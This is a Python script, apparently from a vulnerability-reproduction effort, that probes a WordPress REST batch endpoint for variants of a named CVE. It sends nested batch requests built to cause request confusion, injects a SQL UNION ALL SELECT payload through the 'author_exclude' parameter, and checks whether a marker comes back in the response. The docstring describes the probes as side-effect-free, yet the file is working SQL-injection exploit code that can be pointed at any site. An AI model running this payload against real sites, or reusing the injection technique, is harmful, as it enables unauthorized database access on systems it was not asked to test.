#!/usr/bin/env python3
"""Remote, side-effect-free variant probes for CVE-2026-63030.

The probes deliberately stop at reflected REST response markers. They never write to
the database directly and never attempt administrator creation or code execution.
"""

from __future__ import annotations

import argparse
import json
import urllib.error
import urllib.parse
import urllib.request


PRIMER = {"method": "POST", "path": "///"}


def request(base_url: str, payload: dict) -> tuple[int, dict]:
    req = urllib.request.Request(
        base_url.rstrip("/") + "/wp-json/batch/v1",
        data=json.dumps(payload, separators=(",", ":")).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "User-Agent": "pruva-variant"},
    )
    try:
        with urllib.request.urlopen(req, timeout=30) as response:
            status = response.status
            body = response.read().decode(errors="replace")
    except urllib.error.HTTPError as error:
        status = error.code
        body = error.read().decode(errors="replace")
    try:
        return status, json.loads(body)
    except json.JSONDecodeError:
        return status, {"non_json_body": body[:1000]}


def nested_confusion(value: str, *, body_value: bool = False) -> dict:
    scalar_request: dict = {
        "method": "GET",
        "path": "/wp/v2/users/1?per_page=500&orderby=none",
    }
    if body_value:
        scalar_request["body"] = {"author_exclude": value}
    else:
        scalar_request["path"] += "&author_exclude=" + urllib.parse.quote(value, safe="")

    inner = {
        "requests": [
            PRIMER,
            scalar_request,
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
    }
    return {
        "requests": [
            PRIMER,
            {"method": "POST", "path": "/wp/v2/posts", "body": inner},
            {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
        ]
    }


def sql_marker(marker: str) -> str:
    columns = [
        "424242",
        "0",
        "NOW()",
        "NOW()",
        "'" + marker.replace("'", "''") + "'",
        "'PRUVA-VARIANT'",
        "''",
        "'publish'",
        "'closed'",
        "'closed'",
        "''",
        "'pruva-variant'",
        "''",
        "''",
        "NOW()",
        "NOW()",
        "''",
        "0",
        "'http://invalid/pruva-variant'",
        "0",
        "'post'",
        "''",
        "0",
    ]
    return "0) AND 1=0 UNION ALL SELECT " + ",".join(columns) + " -- -"


def walk_strings(value: object) -> list[str]:
    strings: list[str] = []
    if isinstance(value, dict):
        for child in value.values():
            strings.extend(walk_strings(child))
    elif isinstance(value, list):
        for child in value:
            strings.extend(walk_strings(child))
    elif isinstance(value, str):
        strings.append(value)
    return strings


def probe(base_url: str, mode: str, marker: str) -> dict:
    if mode == "query_scalar":
        payload = nested_confusion(sql_marker(marker), body_value=False)
    elif mode == "body_scalar":
        payload = nested_confusion(sql_marker(marker), body_value=True)
    elif mode == "batch_alignment":
        payload = {
            "requests": [
                PRIMER,
                {"method": "POST", "path": "/wp/v2/posts"},
                {"method": "POST", "path": "/wp/v2/users"},
            ]
        }
    else:
        raise ValueError(f"unknown mode: {mode}")

    status, body = request(base_url, payload)
    serialized = json.dumps(body, sort_keys=True)
    strings = walk_strings(body)
    return {
        "mode": mode,
        "http_status": status,
        "marker": marker,
        "marker_reflected": marker in serialized,
        "response_codes": sorted(
            {
                value
                for value in strings
                if value.startswith("rest_") or value == "parse_path_failed"
            }
        ),
        "response_excerpt": serialized[:1400],
    }


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("base_url")
    parser.add_argument(
        "mode", choices=("query_scalar", "body_scalar", "batch_alignment")
    )
    parser.add_argument("--marker", default="PRUVA-VARIANT-ROW-MARKER")
    args = parser.parse_args()
    print(json.dumps(probe(args.base_url, args.mode, args.marker), sort_keys=True))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
